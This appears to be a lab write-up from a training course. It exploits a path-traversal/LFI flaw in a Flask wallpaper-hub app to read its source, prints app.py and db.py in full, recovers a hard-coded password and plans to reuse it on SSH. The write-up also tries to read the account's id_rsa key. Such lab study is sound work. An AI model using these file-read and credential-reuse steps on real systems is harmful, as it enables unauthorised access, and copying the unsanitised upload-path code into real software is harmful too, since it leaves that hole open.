LFI
LFI has been identified in the file upload feature of the target web application as there is no input validation in place, allowing read access to files on the target system.
wp_hub
User
Based on the previous result, we can confirm 2 system user with console;
ubuntu
and wp_hub
;
- The
wp_hub
account appears to be responsible for the target web application as the name suggests.- It is likely that the account is being used to run the target web application process
SSH
Attempting to fetch the
id_rsa
file of the wp_hub
account
500
Cannot access the id_rsa
file of the wp_hub
account
/proc/sched_debug
Interestingly, the web app just hangs as it attempts to load the
/proc/sched_debug
file
Attempting to download it from the
/gallery
endpoint results in 401
It could be that the web application does not have access to the /proc/sched_debug
file in the first place
500
app.py
Attempting to check the source code of the target web application
../app.py
failed. Now trying ../../app.py
Successful
Downloading it Kali
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ cat wallpapers_.._.._app.py
from flask import (
Flask, render_template, request,
session, flash, redirect, url_for, send_file
)
from dotenv import load_dotenv
from utils import db, utils
from utils.utils import validate_login, block_download
from datetime import timedelta
import os
load_dotenv()
try:
print("[+] Preparing database.")
db.initialize()
print("[+] Database successfully initialized.")
except Exception as e:
print(f"Error: {e}")
pass
STATIC_DIRECTORY=f"{os.getcwd()}/static"
app = Flask(__name__)
app.secret_key = utils.generate_random_hex_string(64)
app.permanent_session_lifetime = timedelta(minutes=40)
@app.route("/", methods=['GET'])
def home():
return render_template("index.html")
@app.route("/login", methods=['GET', 'POST'])
def login():
if request.method == "GET":
if "username" in session:
return redirect(url_for("dashboard"))
return render_template("login.html")
username = request.form["username"].strip()
password = request.form["password"].strip()
if not db.username_exists(username):
flash("Incorrect username or password.", "info")
return render_template("login.html")
if not db.login(username, password):
flash("Incorrect username or password.", "info")
return render_template("login.html")
session.permanent = True
session["username"] = username
flash("Sucessfully logged in!")
return redirect(url_for("dashboard"))
@app.route("/register", methods=['GET', 'POST'])
def register():
if request.method == "GET":
return render_template("register.html")
username = request.form["username"].strip()
password_1 = request.form["password1"].strip()
password_2 = request.form["password2"].strip()
if password_1 != password_2:
flash("Passwords do not match", "info")
return redirect(url_for("register"))
confirmed_password = password_1
if db.username_exists(username):
flash("Username already exists.", "info")
return redirect(url_for("regsiter"))
if db.create_user(username, confirmed_password):
flash("User created successfully.", "info")
return redirect(url_for("login"))
return redirect(url_for("register"))
@app.route("/gallery", methods=['GET', 'POST'])
def display_gallery():
if request.method == "GET":
images_dict = db.get_all_images()
return render_template("gallery.html", images=images_dict, session=session)
@app.route("/download/<image_id>", methods=['GET'])
@block_download
def download_wallpaper(image_id):
image_relative_path = db.get_image_path_by_id(image_id)
if image_relative_path == []:
return {"message": f"Image with id {image_id} does not exist!!"}
image_absolute_path = f"{STATIC_DIRECTORY}/{image_relative_path}"
return send_file(
image_absolute_path,
as_attachment=True
)
@app.route("/delete-wallpaper/<image_id>", methods=['GET'])
@validate_login
def delete_wallpaper(image_id):
if not db.image_id_exists(image_id):
flash("Image ID does not exist.")
return redirect(url_for("my_uploads"), session=session)
db.delete_wallpaper_from_db(image_id)
flash("Image deleted successfully.", "info")
return redirect(url_for("my_uploads"))
@app.route("/dashboard", methods=['GET'])
@validate_login
def dashboard():
if request.method == "GET":
return render_template("dashboard.html", session=session)
@app.route("/upload-wallpaper", methods=['POST', 'GET'])
@validate_login
def upload_wallpaper():
if request.method == "GET":
return render_template("upload.html", session=session)
username = session["username"]
user_id = db.get_user_id_by_name(username)
if 'file' not in request.files:
flash("No file was uploaded!", "info")
return redirect(url_for("upload_wallpaper", session=session))
file = request.files['file']
if file.filename == "":
flash("No file was uploaded!", "info")
return redirect(url_for("upload_wallpaper", session=session))
filepath = "static/wallpapers/" + file.filename
try:
if not os.path.exists(filepath):
file.save(filepath)
except Exception as e:
print(f"Error: {e}")
modified_filepath = "wallpapers/" + file.filename
if not db.add_wallpaper(user_id, modified_filepath):
flash("An error occurred while uploading the file.")
return redirect(url_for("upload_wallpaper", session=session))
flash("File uploaded successfully!", "info")
return redirect(url_for("upload_wallpaper", session=session))
@app.route("/my-uploads", methods=['POST', 'GET'])
@validate_login
def my_uploads():
if request.method == "GET":
username = session['username']
user_id = db.get_user_id_by_name(username)
if not user_id:
flash("Invalid Used ID", "info")
redirect(url_for("my_uploads"), session=session)
images = db.get_all_user_uploaded_images(user_id)
return render_template("myuploads.html", session=session, images=images)
@app.route("/subscriptions", methods=['POST', 'GET'])
@validate_login
def subscriptions():
if request.method == "GET":
return render_template("subscriptions.html", session=session)
@app.route("/settings", methods=['POST', 'GET'])
@validate_login
def settings():
if request.method == "GET":
return render_template("settings.html", session=session)
@app.route("/logout", methods=['GET'])
def logout():
if "username" in session:
flash("Logged out successfully.", "info")
session.clear()
return redirect(url_for("login"))
return redirect(url_for("login"))
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
Besides the file upload logic, it uses dotenv and db modules
Flask uses SQLite by default
db.py
db.py
file is located under the utils
directory as defined in the app.py
file
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/wallpaperhub]
└─$ cat ~/Downloads/wallpapers_.._.._utils_db.py
import sqlite3
import bcrypt
import os
from uuid import uuid4
from .utils import hash_password
class User:
def __init__(self, user_id, username, email, description):
self.user_id = user_id
self.username = username
self.email = email
self.description = description
def initialize():
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
create_users_table = """
CREATE TABLE IF NOT EXISTS users (
user_id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password TEXT NOT NULL,
description TEXT NOT NULL
);
"""
create_images_table = """
CREATE TABLE IF NOT EXISTS images (
id TEXT PRIMARY KEY,
user_id INTEGER NOT NULL,
image_path TEXT NOT NULL
);
"""
admin_data = {
"user_id": 0,
"username": "wp_hub",
"password": hash_password("qazwsxedc").decode(),
"description": "Wallpaper Hub New user."
}
create_admin_sql = """
INSERT INTO users (user_id, username, password, description)
VALUES (:user_id, :username, :password, :description);
"""
images_data = [
(str(uuid4()), 0, "wallpapers/photo1.jpg"),
(str(uuid4()), 0, "wallpapers/photo2.jpg"),
(str(uuid4()), 0, "wallpapers/photo3.jpg")
]
cursor.execute(create_images_table)
cursor.execute(create_users_table)
insert_images_sql = """
INSERT INTO images (id, user_id, image_path) VALUES (?, ?, ?)
"""
cursor.executemany(insert_images_sql, images_data)
cursor.execute(create_admin_sql, admin_data)
conn.commit()
conn.close()
def create_user(username: str, password:str):
user_data = {
"username": username,
"password": hash_password(password).decode(),
"description": "Wallpaper Hub New user."
}
insert_user_sql = """
INSERT INTO users (username, password, description)
VALUES (:username, :password, :description);
"""
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(insert_user_sql, user_data)
conn.commit()
conn.close()
return True
def login(username: str, password: str):
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = :username",
{"username": username},
)
results = cursor.fetchall()
hashed_password = f"{results[0][2]}".encode()
if not bcrypt.checkpw(str(password).encode(), hashed_password):
return False
return True
def username_exists(username: str):
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = :username",
{"username": username},
)
results = cursor.fetchall()
if not results:
return False
return True
def get_all_images() -> dict:
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM images"
)
results = cursor.fetchall()
return {result[0]:result[2] for result in results}
def get_all_user_uploaded_images(user_id) -> dict:
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM images WHERE user_id = :user_id",
{"user_id": user_id}
)
results = cursor.fetchall()
return {result[0]:result[2] for result in results}
def get_image_path_by_id(id: str) -> str:
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM images WHERE id = :image_id",
{"image_id": id}
)
results = cursor.fetchall()
if not results:
return []
return results[0][2]
def get_user_id_by_name(username) -> str:
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = :username",
{"username": username},
)
results = cursor.fetchall()
if not results:
return False
return results[0][0]
def add_wallpaper(user_id, image_path):
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
img_data = {
"id": str(uuid4()),
"user_id": user_id,
"image_path": image_path
}
insert_images_sql = """
INSERT INTO images (id, user_id, image_path) VALUES (:id, :user_id, :image_path)
"""
cursor.execute(insert_images_sql,img_data)
conn.commit()
conn.close()
return True
def image_id_exists(image_id):
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM images WHERE id = :image_id",
{"image_id": image_id},
)
results = cursor.fetchall()
if not results:
return False
return True
def delete_wallpaper_from_db(image_id):
conn = sqlite3.connect("database.db")
cursor = conn.cursor()
cursor.execute(
"DELETE FROM images where id = :image_id",
{"image_id": image_id}
)
conn.commit()
conn.close()
return True
Checking the db.py
file reveals that it does indeed uses SQLite. The DB file is database.db
It also has a credential entry for the wp_hub
user; qazwsxedc
wp_hub
is a valid system account, and there might be credential reuse.
Validating against the target SSH server.